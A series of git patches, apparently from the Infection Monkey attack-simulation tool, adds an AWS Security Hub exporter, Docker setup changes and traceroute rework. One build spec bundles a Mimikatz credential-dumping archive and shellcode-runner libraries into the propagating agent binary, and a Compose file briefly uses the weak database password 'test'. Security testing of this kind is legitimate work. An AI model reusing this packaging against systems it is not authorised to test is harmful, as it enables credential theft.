'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -526,7 +527,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_struts2_issue(issue): + def _handle_struts2_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -543,7 +544,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -551,7 +552,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_weblogic_issue(issue): + def _handle_weblogic_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -570,7 +571,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] @@ -578,7 +579,7 @@ class AWSExporter(Exporter): return finding @staticmethod - def _handle_hadoop_issue(issue): + def _handle_hadoop_issue(issue, instance_arn): finding = \ {"Severity": { "Product": 10, @@ -594,7 +595,7 @@ class AWSExporter(Exporter): if 'aws_instance_id' in issue: finding["Resources"] = [{ "Type": "AwsEc2Instance", - "Id": issue['aws_instance_id'] + "Id": instance_arn.format(instance_id=issue['aws_instance_id']) }] else: finding["Resources"] = [{'Type': 'Other'}] From e24e9b90f7e6d327abe115b94d34eb3c862105a8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Wed, 28 Nov 2018 18:54:50 +0200 Subject: [PATCH 054/201] * Added fallback case for urllib failure to get the region * Added some safe checks for formatting and happy flows * Removed productARN from server_config.json - it will now be inserted in deb build. * Added the awscli lib to be installed via pip --- monkey/common/cloud/aws.py | 1 + monkey/monkey_island/cc/resources/aws_exporter.py | 12 ++++++++---- monkey/monkey_island/cc/server_config.json | 5 +---- .../deb-package/monkey_island_pip_requirements.txt | 1 + 4 files changed, 11 insertions(+), 8 deletions(-) diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 90267bca7..7937815ef 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -10,6 +10,7 @@ class AWS(object): self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] except urllib2.URLError: self.instance_id = None + self.region = None def get_instance_id(self): return self.instance_id diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 412b8390a..735de6584 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -77,8 +77,8 @@ class AWSExporter(Exporter): } configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '') - product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region='us-west-2', arn=configured_product_arn) - instance_arn = 'arn:aws:ec2:' + region + ':instance:{instance_id}' + product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn) + instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}' account_id = AWSExporter._get_aws_keys().get('aws_account_id', '') finding = { @@ -98,6 +98,10 @@ class AWSExporter(Exporter): @staticmethod def _send_findings(findings_list, creds_dict, region): try: + if not creds_dict: + logger.info('No AWS access credentials received in configuration') + return False + securityhub = boto3.client('securityhub', aws_access_key_id=creds_dict.get('aws_access_key_id', ''), aws_secret_access_key=creds_dict.get('aws_secret_access_key', ''), @@ -109,10 +113,10 @@ class AWSExporter(Exporter): else: return False except UnknownServiceError as e: - logger.warning('AWS exporter called but AWS-CLI not installed') + logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed') return False except Exception as e: - logger.error('AWS security hub findings failed to send.') + logger.exception('AWS security hub findings failed to send.') return False @staticmethod diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 3ca292587..2d1a5995b 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,6 +1,3 @@ { - "server_config": "standard", - "aws": { - "sec_hub_product_arn": "324264561773:product/guardicore/aws-infection-monkey" - } + "server_config": "standard" } \ No newline at end of file diff --git a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt index 7046bf231..3691ca490 100644 --- a/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt +++ b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt @@ -15,4 +15,5 @@ ipaddress enum34 PyCrypto boto3 +awscli virtualenv \ No newline at end of file From 1339ab723f1d390929dac3f14dfb0b0b4e898f0d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 15:48:41 +0200 Subject: [PATCH 055/201] * mistaken _ with -... --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 581cbf3dc..7425cb265 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -192,7 +192,7 @@ class Telemetry(flask_restful.Resource): wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() if 'aws' in telemetry_json['data']: - if 'instance-id' in telemetry_json['data']['aws']: + if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) From 498ddcacf510315833bbbd45c85cd92245856350 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 16:51:12 +0200 Subject: [PATCH 056/201] * mistaken _ with -... --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 7425cb265..ac2addbb5 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -194,7 +194,7 @@ class Telemetry(flask_restful.Resource): if 'aws' in telemetry_json['data']: if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance-id']}) + {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): From 8beada58d538c76aaece0a8281546f02b9fa1532 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Tue, 27 Nov 2018 11:20:17 +0000 Subject: [PATCH 057/201] Add '.dockerignore' --- docker/.dockerignore | 1 + docker/Dockerfile | 4 ++-- docker/docker-compose.yml | 23 +++++++++++++++++++++++ docker/stack.conf | 4 +--- 4 files changed, 27 insertions(+), 5 deletions(-) create mode 100644 docker/.dockerignore create mode 100644 docker/docker-compose.yml diff --git a/docker/.dockerignore b/docker/.dockerignore new file mode 100644 index 000000000..dd449725e --- /dev/null +++ b/docker/.dockerignore @@ -0,0 +1 @@ +*.md diff --git a/docker/Dockerfile b/docker/Dockerfile index 56085b40e..762b20a7d 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,4 +1,4 @@ -FROM debian:jessie-slim +FROM debian:stretch-slim LABEL MAINTAINER="theonlydoo " @@ -23,4 +23,4 @@ RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ COPY stack.conf /etc/supervisor/conf.d/stack.conf -ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] \ No newline at end of file +ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml new file mode 100644 index 000000000..0fa49bf62 --- /dev/null +++ b/docker/docker-compose.yml @@ -0,0 +1,23 @@ +version: '3.3' + +services: + db: + image: mongo:4 + restart: always + volumes: + - db_data:/data/db + environment: + MONGO_INITDB_ROOT_USERNAME: root + MONGO_INITDB_ROOT_PASSWORD: test + monkey: + depends_on: + - db + build: . + image: monkey:latest + ports: + - "5000:5000" + environment: + MONGO_URL: mongodb://root:test@db:27017/ + +volumes: + db_data: diff --git a/docker/stack.conf b/docker/stack.conf index b742c0392..e84d508aa 100644 --- a/docker/stack.conf +++ b/docker/stack.conf @@ -1,4 +1,2 @@ -[program:mongod] -command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db [program:monkey] -command=/var/monkey_island/ubuntu/systemd/start_server.sh +command=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh From 290ee213fd88d994b7c603f8a0a58c6c7ddd805e Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Thu, 29 Nov 2018 15:11:41 +0000 Subject: [PATCH 058/201] Use an external Mongo database with Docker Compose --- docker/docker-compose.yml | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index 0fa49bf62..1620ae330 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -7,8 +7,7 @@ services: volumes: - db_data:/data/db environment: - MONGO_INITDB_ROOT_USERNAME: root - MONGO_INITDB_ROOT_PASSWORD: test + MONGO_INITDB_DATABASE: monkey monkey: depends_on: - db @@ -17,7 +16,7 @@ services: ports: - "5000:5000" environment: - MONGO_URL: mongodb://root:test@db:27017/ + MONGO_URL: mongodb://db:27017/monkey volumes: db_data: From 1cedfb5c2da01326c7b206f5b321f1b6260c777c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 29 Nov 2018 17:43:53 +0200 Subject: [PATCH 059/201] small fixes --- monkey/monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/report.py | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index ac2addbb5..b88acbac6 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -194,7 +194,7 @@ class Telemetry(flask_restful.Resource): if 'aws' in telemetry_json['data']: if 'instance_id' in telemetry_json['data']['aws']: mongo.db.monkey.update_one({'_id': monkey_id}, - {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}) + {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}}) @staticmethod def add_ip_to_ssh_keys(ip, ssh_info): diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 3120194a3..bd03fb78c 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -555,7 +555,8 @@ class ReportService: def get_machine_aws_instance_id(hostname): aws_instance_id_list = list(mongo.db.monkey.find({'hostname': hostname}, {'aws_instance_id': 1})) if aws_instance_id_list: - return str(aws_instance_id_list[0].get('aws_instance_id', None)) + if 'aws_instance_id' in aws_instance_id_list[0]: + return str(aws_instance_id_list[0]['aws_instance_id']) else: return None From f3ce6c08c57248dadfd4b488fd29c16651384185 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Thu, 29 Nov 2018 16:20:55 +0000 Subject: [PATCH 060/201] Remove supervisord --- docker/Dockerfile | 8 +++----- docker/stack.conf | 2 -- 2 files changed, 3 insertions(+), 7 deletions(-) delete mode 100644 docker/stack.conf diff --git a/docker/Dockerfile b/docker/Dockerfile index 762b20a7d..2d0d0b55b 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -16,11 +16,9 @@ RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \ && apt-get -yqq upgrade \ && apt-get -yqq install python-pip \ python-dev \ - libssl-dev \ - supervisor \ && dpkg -i *.deb \ && rm -f *.deb *.tgz -COPY stack.conf /etc/supervisor/conf.d/stack.conf - -ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ] +WORKDIR /var/monkey +ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"] +CMD ["/var/monkey/monkey_island.py"] diff --git a/docker/stack.conf b/docker/stack.conf deleted file mode 100644 index e84d508aa..000000000 --- a/docker/stack.conf +++ /dev/null @@ -1,2 +0,0 @@ -[program:monkey] -command=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh From 2c5019306bb1d51c4d9c3d35c7b60fb329d2d280 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Fri, 30 Nov 2018 12:25:06 +0000 Subject: [PATCH 061/201] Change the Mongo database's name to stick to the documentation See https://github.com/guardicore/monkey/blob/develop/monkey/monkey_island/readme.txt. --- docker/docker-compose.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index 1620ae330..69678c004 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -16,7 +16,7 @@ services: ports: - "5000:5000" environment: - MONGO_URL: mongodb://db:27017/monkey + MONGO_URL: mongodb://db:27017/monkeyisland volumes: db_data: From 4283d8d488134d8bc80579d495bc5456bcf72fb0 Mon Sep 17 00:00:00 2001 From: Paul-Emmanuel Raoul Date: Fri, 30 Nov 2018 14:40:12 +0000 Subject: [PATCH 062/201] Fix previous commit I forgot to change the `MONGO_INITDB_DATABASE` variable. --- docker/docker-compose.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index 69678c004..94a81b00e 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -7,7 +7,7 @@ services: volumes: - db_data:/data/db environment: - MONGO_INITDB_DATABASE: monkey + MONGO_INITDB_DATABASE: monkeyisland monkey: depends_on: - db From 3ca761f49217380ed29f708930b4807b96f4d1f2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 11 Dec 2018 12:14:38 +0200 Subject: [PATCH 063/201] RCR: - started the report exporter manager singleton. - added region parsing using regex - --- monkey/common/cloud/aws.py | 14 ++++++- monkey/monkey_island/cc/services/report.py | 17 +++----- .../monkey_island/report_exporter_manager.py | 40 +++++++++++++++++++ monkey/monkey_island/requirements.txt | 3 +- 4 files changed, 60 insertions(+), 14 deletions(-) create mode 100644 monkey/monkey_island/report_exporter_manager.py diff --git a/monkey/common/cloud/aws.py b/monkey/common/cloud/aws.py index 7937815ef..401bbec40 100644 --- a/monkey/common/cloud/aws.py +++ b/monkey/common/cloud/aws.py @@ -1,3 +1,4 @@ +import re import urllib2 __author__ = 'itay.mizeretz' @@ -7,11 +8,22 @@ class AWS(object): def __init__(self): try: self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id').read() - self.region = urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()[:-1] + self.region = self._parse_region(urllib2.urlopen('http://169.254.169.254/latest/meta-data/placement/availability-zone').read()) except urllib2.URLError: self.instance_id = None self.region = None + @staticmethod + def _parse_region(region_url_response): + # For a list of regions: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RegionsAndAvailabilityZones.html + # This regex will find any AWS region format string in the response. + re_phrase = r'((?:us|eu|ap|ca|cn|sa)-[a-z]*-[0-9])' + finding = re.findall(re_phrase, region_url_response, re.IGNORECASE) + if finding: + return finding[0] + else: + return None + def get_instance_id(self): return self.instance_id diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index bd03fb78c..8f72e1b17 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,7 +8,6 @@ from enum import Enum from six import text_type from cc.database import mongo -from cc.environment.environment import load_env_from_file, AWS from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService @@ -677,9 +676,7 @@ class ReportService: @staticmethod def is_report_generated(): generated_report = mongo.db.report.find_one({}) - if generated_report is None: - return False - return True + return generated_report is not None @staticmethod def generate_report(): @@ -734,6 +731,10 @@ class ReportService: @staticmethod def is_latest_report_exists(): + """ + This function checks if a monkey report was already generated and if it's the latest one. + :return: True if report is the latest one, False if there isn't a report or its not the latest. + """ latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) if latest_report_doc: @@ -755,14 +756,6 @@ class ReportService: {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - @staticmethod - def get_active_exporters(): - # This function should be in another module in charge of building a list of active exporters - exporters_list = [] - if str(load_env_from_file()) == AWS: - exporters_list.append(AWSExporter) - return exporters_list - @staticmethod def export_to_exporters(report): for exporter in ReportService.get_active_exporters(): diff --git a/monkey/monkey_island/report_exporter_manager.py b/monkey/monkey_island/report_exporter_manager.py new file mode 100644 index 000000000..7e9afc8a9 --- /dev/null +++ b/monkey/monkey_island/report_exporter_manager.py @@ -0,0 +1,40 @@ +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter +import logging + +logger = logging.getLogger(__name__) + + +class Borg: + _shared_state = {} + + def __init__(self): + self.__dict__ = self._shared_state + + +class ReportExporterManager(Borg): + def __init__(self): + Borg.__init__(self) + self._exporters_list = [] + self._init_exporters() + + def get_exporters_list(self): + return self._exporters_list + + def _init_exporters(self): + self._init_aws_exporter() + + def _init_aws_exporter(self): + if str(load_env_from_file()) == AWS: + self._exporters_list.append(AWSExporter) + + def export(self): + try: + for exporter in self._exporters_list: + exporter().handle_report() + except Exception as e: + logger.exception('Failed to export report') + +if __name__ == '__main__': + print ReportExporterManager().get_exporters_list() + print ReportExporterManager().get_exporters_list() diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f094df947..858642d19 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto -boto3 \ No newline at end of file +boto3 +awscli \ No newline at end of file From 8d50b5d02cbb09794cb5e24ca148af0e66e36cb6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 13:38:44 +0200 Subject: [PATCH 064/201] merge spec files --- monkey/infection_monkey/build_linux.sh | 2 +- monkey/infection_monkey/monkey-linux.spec | 32 ------ monkey/infection_monkey/monkey.spec | 133 +++++++++++++++++----- 3 files changed, 105 insertions(+), 62 deletions(-) delete mode 100644 monkey/infection_monkey/monkey-linux.spec diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh index c05c2891c..fcaf4c75d 100644 --- a/monkey/infection_monkey/build_linux.sh +++ b/monkey/infection_monkey/build_linux.sh @@ -1,2 +1,2 @@ #!/bin/bash -pyinstaller --clean monkey-linux.spec +pyinstaller -F --log-level=DEBUG --clean monkey.spec diff --git a/monkey/infection_monkey/monkey-linux.spec b/monkey/infection_monkey/monkey-linux.spec deleted file mode 100644 index 61a2725c4..000000000 --- a/monkey/infection_monkey/monkey-linux.spec +++ /dev/null @@ -1,32 +0,0 @@ -# -*- mode: python -*- - -block_cipher = None - - -a = Analysis(['main.py'], - pathex=['..'], - binaries=None, - datas=None, - hiddenimports=['_cffi_backend'], - hookspath=None, - runtime_hooks=None, - excludes=None, - win_no_prefer_redirects=None, - win_private_assemblies=None, - cipher=block_cipher) - -a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')] - -pyz = PYZ(a.pure, a.zipped_data, - cipher=block_cipher) -exe = EXE(pyz, - a.scripts, - a.binaries, - a.zipfiles, - a.datas, - name='monkey', - debug=False, - strip=True, - upx=True, - console=True ) \ No newline at end of file diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index f539d61fa..84e6b82f0 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -2,39 +2,114 @@ import os import platform + +__author__ = 'itay.mizeretz' + +block_cipher = None + # Name of zip file in monkey. That's the name of the file in the _MEI folder MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip' +def main(): + a = Analysis(['main.py'], + pathex=['..'], + hiddenimports=get_hidden_imports(), + hookspath=None, + runtime_hooks=None, + binaries=None, + datas=None, + excludes=None, + win_no_prefer_redirects=None, + win_private_assemblies=None, + cipher=block_cipher + ) + + a.binaries += get_binaries() + a.datas = process_datas(a.datas) + + pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) + exe = EXE(pyz, + a.scripts, + a.binaries, + a.zipfiles, + a.datas, + name=get_monkey_filename(), + debug=False, + strip=get_exe_strip(), + upx=True, + console=True, + icon=get_exe_icon()) + + +def is_windows(): + return platform.system().find("Windows") >= 0 + + +def is_32_bit(): + return platform.architecture()[0] == "32bit" + + +def get_bin_folder(): + return os.path.join('.', 'bin') + + +def get_bin_file_path(filename): + return os.path.join(get_bin_folder(), filename) + + +def process_datas(orig_datas): + datas = orig_datas + if is_windows(): + datas = [i for i in datas if i[0].find('Include') < 0] + datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] + return datas + + +def get_binaries(): + binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() + binaries += get_sc_binaries() + return binaries + + +def get_windows_only_binaries(): + binaries = [] + binaries += get_msvcr() + return binaries + + +def get_linux_only_binaries(): + binaries = [] + return binaries + + +def get_hidden_imports(): + return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + + +def get_sc_binaries(): + return [(x, get_bin_file_path(x), 'BINARY') for x in ['sc_monkey_runner32.so', 'sc_monkey_runner64.so']] + + +def get_msvcr(): + return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] + + +def get_monkey_filename(): + return 'monkey.exe' if is_windows() else 'monkey' + + +def get_exe_strip(): + return not is_windows() + + +def get_exe_icon(): + return 'monkey.ico' if is_windows() else None + + def get_mimikatz_zip_path(): - if platform.architecture()[0] == "32bit": - return '.\\bin\\mk32.zip' - else: - return '.\\bin\\mk64.zip' + mk_filename = 'mk32.zip' if is_32_bit() else 'mk64.zip' + return os.path.join(get_bin_folder(), mk_filename) -a = Analysis(['main.py'], - pathex=['..'], - hiddenimports=['_cffi_backend', 'queue'], - hookspath=None, - runtime_hooks=None) - -a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')] -a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')] - -if platform.system().find("Windows") >= 0: - a.datas = [i for i in a.datas if i[0].find('Include') < 0] - a.datas += [(MIMIKATZ_ZIP_NAME, get_mimikatz_zip_path(), 'BINARY')] - -pyz = PYZ(a.pure) -exe = EXE(pyz, - a.scripts, - a.binaries + [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')], - a.zipfiles, - a.datas, - name='monkey.exe', - debug=False, - strip=None, - upx=True, - console=True, - icon='monkey.ico') +main() # We don't check if __main__ because this isn't the main script. From 0658431358d8c2b923748eb8d66b2a5c03c42df2 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 18:15:04 +0200 Subject: [PATCH 065/201] Use carried traceroute on linux --- monkey/infection_monkey/monkey.spec | 5 ++ monkey/infection_monkey/network/tools.py | 75 +++++++++++------------- 2 files changed, 38 insertions(+), 42 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 84e6b82f0..29fe7db04 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -69,6 +69,7 @@ def process_datas(orig_datas): def get_binaries(): binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() binaries += get_sc_binaries() + binaries += get_traceroute_binaries() return binaries @@ -95,6 +96,10 @@ def get_msvcr(): return [('msvcr100.dll', os.environ['WINDIR'] + '\\system32\\msvcr100.dll', 'BINARY')] +def get_traceroute_binaries(): + return [('traceroute', get_bin_file_path('traceroute'), 'BINARY')] + + def get_monkey_filename(): return 'monkey.exe' if is_windows() else 'monkey' diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index fa84f84fe..64cc70bb6 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -9,9 +9,12 @@ import re from six.moves import range +from infection_monkey.pyinstaller_utils import get_binary_file_path + DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 -IP_ADDR_RE = r'[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' +IP_ADDR_RE = r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' +IP_ADDR_PARENT_RE = r'\(' + IP_ADDR_RE + r'\)' LOG = logging.getLogger(__name__) SLEEP_BETWEEN_POLL = 0.5 @@ -188,19 +191,8 @@ def traceroute(target_ip, ttl): return _traceroute_linux(target_ip, ttl) -def _traceroute_windows(target_ip, ttl): - """ - Traceroute for a specific IP/name - Windows implementation - """ - # we'll just use tracert because that's always there - cli = ["tracert", - "-d", - "-w", "250", - "-h", str(ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ip_lines = stdout.split('\r\n') +def _parse_traceroute(output, regex, ttl): + ip_lines = output.split('\n') trace_list = [] first_line_index = None @@ -213,7 +205,7 @@ def _traceroute_windows(target_ip, ttl): if re.search(r'^\s*' + str(i - first_line_index + 1), ip_lines[i]) is None: # If trace is finished break - re_res = re.search(IP_ADDR_RE, ip_lines[i]) + re_res = re.search(regex, ip_lines[i]) if re_res is None: ip_addr = None else: @@ -223,36 +215,35 @@ def _traceroute_windows(target_ip, ttl): return trace_list +def _traceroute_windows(target_ip, ttl): + """ + Traceroute for a specific IP/name - Windows implementation + """ + # we'll just use tracert because that's always there + cli = ["tracert", + "-d", + "-w", "250", + "-h", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() + stdout = stdout.replace('\r', '') + return _parse_traceroute(stdout, IP_ADDR_RE, ttl) + + def _traceroute_linux(target_ip, ttl): """ Traceroute for a specific IP/name - Linux implementation """ - # implementation note: We're currently going to just use ping. - # reason is, implementing a non root requiring user is complicated (see traceroute(8) code) - # while this is just ugly - # we can't use traceroute because it's not always installed - current_ttl = 1 - trace_list = [] - while current_ttl <= ttl: - cli = ["ping", - "-c", "1", - "-w", "1", - "-t", str(current_ttl), - target_ip] - proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) - stdout, stderr = proc_obj.communicate() - ips = re.findall(IP_ADDR_RE, stdout) - if len(ips) < 2: # Unexpected output. Fail the whole thing since it's not reliable. - return [] - elif ips[-1] in trace_list: # Failed getting this hop - trace_list.append(None) - else: - trace_list.append(ips[-1]) - dest_ip = ips[0] # first ip is dest ip. must be parsed here since it can change between pings - if dest_ip == ips[-1]: - break + traceroute_path = get_binary_file_path("traceroute") + cli = [traceroute_path, + "-m", str(ttl), + target_ip] + proc_obj = subprocess.Popen(cli, stdout=subprocess.PIPE) + stdout, stderr = proc_obj.communicate() - current_ttl += 1 - - return trace_list + lines = _parse_traceroute(stdout, IP_ADDR_PARENT_RE, ttl) + lines = [x[1:-1] if x else None # Removes parenthesis + for x in lines] + return lines From b2deb4b6c923fcde1efec232c0d152e8b191e6f3 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 16 Dec 2018 19:09:08 +0200 Subject: [PATCH 066/201] Add doc for parse_traceroute --- monkey/infection_monkey/network/tools.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 64cc70bb6..2b5497d8b 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -192,6 +192,14 @@ def traceroute(target_ip, ttl): def _parse_traceroute(output, regex, ttl): + """ + Parses the output of traceroute (from either Linux or Windows) + :param output: The output of the traceroute + :param regex: Regex for finding an IP address + :param ttl: Max TTL. Must be the same as the TTL used as param for traceroute. + :return: List of ips which are the hops on the way to the traceroute destination. + If a hop's IP wasn't found by traceroute, instead of an IP, the array will contain None + """ ip_lines = output.split('\n') trace_list = [] From 9ccd1db30994aa77ab29369fc680bb522558cbd2 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 18 Dec 2018 16:08:19 +0200 Subject: [PATCH 067/201] Make report map colored again --- monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 61e80737b..254d75809 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -104,7 +104,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; 